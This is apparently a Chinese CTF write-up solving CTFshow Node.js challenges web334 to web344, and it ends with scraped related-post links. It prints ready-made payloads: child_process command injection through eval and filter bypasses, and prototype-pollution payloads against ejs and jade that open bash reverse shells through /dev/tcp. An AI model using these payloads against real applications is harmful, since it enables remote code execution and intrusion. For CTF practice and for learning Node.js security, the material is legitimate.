目录

<1> web334(大小写判断)

<2> web335(无过滤execSync()执行命令)

<3> web336(spawnSync()执行命令)

<4> web337(数组绕过md5===)

<5> web338(原型链污染)

<6> web339

(1) 方法1:ejs原型链污染

(2) 方法2:变量覆盖query

<7> web340(污染两级__proto__)

<8> web341(打ejs-rce)

<9> web342、343(jade原型链污染)

<10> web344(过滤逗号绕过)


<1> web334(大小写判断)

下载附件,在user.js 得到item 里username和password值:

items: [{username: 'CTFSHOW', password: '123456'}]

查看login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* GET home page. */
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  });module.exports = router;

post传入username、password参数,满足下面

name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password

var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};

name进行toUpperCase() === CTFSHOW 且name不为CTFSHOW password得为123456

post传入 name=Ctfshow&password=123456即可

<2> web335(无过滤execSync()执行命令)

?eval=require('child_process').exec('ls');

eval中可以执行js代码,我们构造执行ls命令,发现回显为 [object Object]

猜测其代码为代码为eval('console.log(xxx)').
涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数 execSync

?eval=require('child_process').execSync('ls');
?eval=require('child_process').execSync('cat fl00g.txt');?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout.toString()?eval=global.process.mainModule.constructor._load('child_process').exec('calc')

<3> web336(spawnSync()执行命令)

有过滤,spawnSync绕过一下

?eval=require('child_process').spawnSync('ls').stdout.toString();
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString();

经过测试,这里是过滤了exec,需要绕过

还有一种方式  字符拼接

?eval=require("child_process")['exe'%2B'cSync']('ls')

<4> web337(数组绕过md5===)

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

满足 a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)

MD5强比较 数组绕过

?a[a]=0&b[a]=1

<5> web338(原型链污染)

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;

body的内容可以解析json,同时存在 utils.copy(user,req.body);

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

在这里可以借user给 Object 添加"__proto__"属性为{"ctfshow":"36dboy"},修改object的原型对象,构造原型链污染。 使得object的实例secert在用到ctfshow的属性时,查找 object.__proto__ 找到36dboy 使 if(secert.ctfshow==='36dboy')返回ture

<6> web339

(1) 方法1:ejs原型链污染

上一文有提到ejs

现成payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/port 0>&1\"');var __tmp2"}}
{ "constructor": { "prototype": { "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"} } }

接着post访问api.js就可以反弹shell了

(2) 方法2:变量覆盖query

login.js

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}

这里flag不知道是什么,不能污染ctfshow了

比之前的加了一个api.js

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});

重点看这个:

 res.render('api', { query: Function(query)(query)});

这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定操作

和 P神出的 Code-Breaking 2018 Thejs 如出一辙即可以 RCE,这里可污染点存在的匿名函数调用

post 访问api

{"username":"aa","password":"aa","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}

<7> web340(污染两级__proto__)

index.js 改变了

router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}

需要满足 user.userinfo.isAdmin为真。

依然可以利用 utils.copy(user.userinfo,req.body),这里并不能直接传入

{"__proto__":{"isAdmin":true}} 因为查找顺序的原因,找到userinfo这一级直接就找到了isAdmin 为false。

userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象

这里可以向上污染两级,利用api.js 里的query参数rce

污染一级的话,user是查找不到我们构造的query的 user.query不可控

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}
}
var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};
}
//body=JSON.parse('{"__proto__":{"query":"123"}}');
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.__proto__);
console.log(user.__proto__.__proto__)
console.log(user.userinfo.__proto__);
console.log(user.userinfo.__proto__.__proto__)

再来看一下污染两级时: 可以看到污染到了 [Object: null prototype]

此时 user.query就可控了

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}

<8> web341(打ejs-rce)

和web140类似,不过这个少了api.js   不能向上两级污染覆盖query参数rce了

但是这道题开启了ejs渲染

ejs打原型链

直接用现成payload:

{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'); //"}}}

<9> web342、343(jade原型链污染)

jade原型链污染 参考:https://xz.aliyun.com/t/7025

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

在login页面打上去之后随便访问下,就会反弹

ctfshow nodejs篇 - TARI TARI

<10> web344(过滤逗号绕过)

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

应该传入

?query={"name":"admin","password":"ctfshow","isVIP":true}

但是题目把逗号和他的url编码给过滤掉了,所以需要绕过。

payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式

参考:

sjeodhttps://blog.csdn.net/miuzzx/anrticle/details/111780832

ctfshow Nodejs相关推荐

  1. ctfshow NodeJs web334-web344 wp

    文章目录 什么是nodejs web334 web335 web336 web337 web338 web339 预期解 非预期解 web340 web341 web342-343 web344 什么 ...

  2. ctfshow web入门 nodejs 334-341(更新中)

    前言 说实在也没啥好说的,希望大家要有勇气,向难题挑战,别像我一样自始至终都是一个菜狗,哎. 这里在刚开始的,我就有一个问题就是我发现刚开始使用的是require来导入模块,但是到了后面发现大部分使用 ...

  3. 【CTFSHOW】web入门 NodeJS

    文章目录 写在前面 web334 web335 web336 web337 web338 web339 web340 web341 web342 web343 web344 参考资料 写在前面 web ...

  4. ctfshow node.js专题

    文章目录 web334 web335 web336 web337 web338 web339 web340 web341 web342.web343 web334 给了附件,然后进入后发现是一个登录框 ...

  5. CTFshowWeb入门nodejs

    web334 大小写绕过 访问环境 下载附件得到源码,开始审计 login.js var express = require('express'); var router = express.Rout ...

  6. Nodejs的安全学习

    文章目录 Nodejs Nodejs的文档 弱类型 大小写比较 js大小写绕过 ctfshow web334 ES6模板字符串 命令执行 ctfshow web335 ctfshow web336 数 ...

  7. ctfshow—Node.js漏洞总结

    1 Js大小写绕过 ctfshow web334 下载源码 var findUser = function(name, password){return users.find(function(ite ...

  8. CentOS6安装nodejs

    Nodejs是JavaScript的一种运行环境,是一个服务端的JavaScript解释器. NPM是Nodejs的包管理器. Nodejs包含npm,所以安装完nodejs后npm默认也被安装. 安 ...

  9. 让我们一起认识一下Nodejs

    Nodejs Nodejs是一个运行在chrome Javascript运行环境下(俗称GoogleV8引擎)的开发平台,用来方便快捷的创建服务器端网络应用程序.可以把它理解为一个轻量级的JSP或PH ...

最新文章

  1. python 笛卡尔积,排列,组合
  2. iOS----------苹果警告
  3. 数据中心基础运维人员的职业规划
  4. 华为交换机的配置及:access、trunk、hybird端口详解
  5. 删不干净_“我劝你别删前任微信”
  6. linux服务器证书安装教程,linux服务器使用certbot免费安装ssl证书
  7. QQ因系统日期无法打开
  8. vivado 2018 下载地址
  9. opnet如何进行C语言编程,OPNET学习小记(五)
  10. 为什么说CCSK是云安全从业人员必备证书之一
  11. tp交换机管理页面_tplink交换机怎样设置
  12. 移动通信网络的构成思维导图
  13. LLVM的源码目录结构
  14. 5年市值蒸发2000多亿 绿地控股二次混改能否迎来春天?
  15. aistudio解压zip
  16. CSS—javaEE
  17. 【入门】1536- 前端 Flutter 入门指南
  18. matlab 定义函数 调用,matlab 定义函数,matlab定义函数并调用
  19. 爬取智联招聘上24座热门城市中Java招聘信息
  20. 艾司博讯:拼多多诱导非官方交易有哪些处理?

热门文章

  1. 【赠书】熊德意老师的一部不止于技术的神经机器翻译“百科全书”
  2. 自由轴法 matlab,自由轴法与固定轴法 三亿文库
  3. AMCL代码详解(五)根据激光观测更新粒子权重
  4. google map api v3 的marker使用label的方法(markerwithlabel的使用)
  5. Vue开发环境搭建和vue-cli脚手架
  6. LaTeX的入门使用(新手使用向)
  7. Perl之单行命令特技
  8. Matlab图像边缘检测Roberts\Sobel\Prewitt\Canny算子
  9. 串口转无线WiFi模块——WizFi210-EVB操作手册
  10. 期货交易原理(期货交易原理与实务)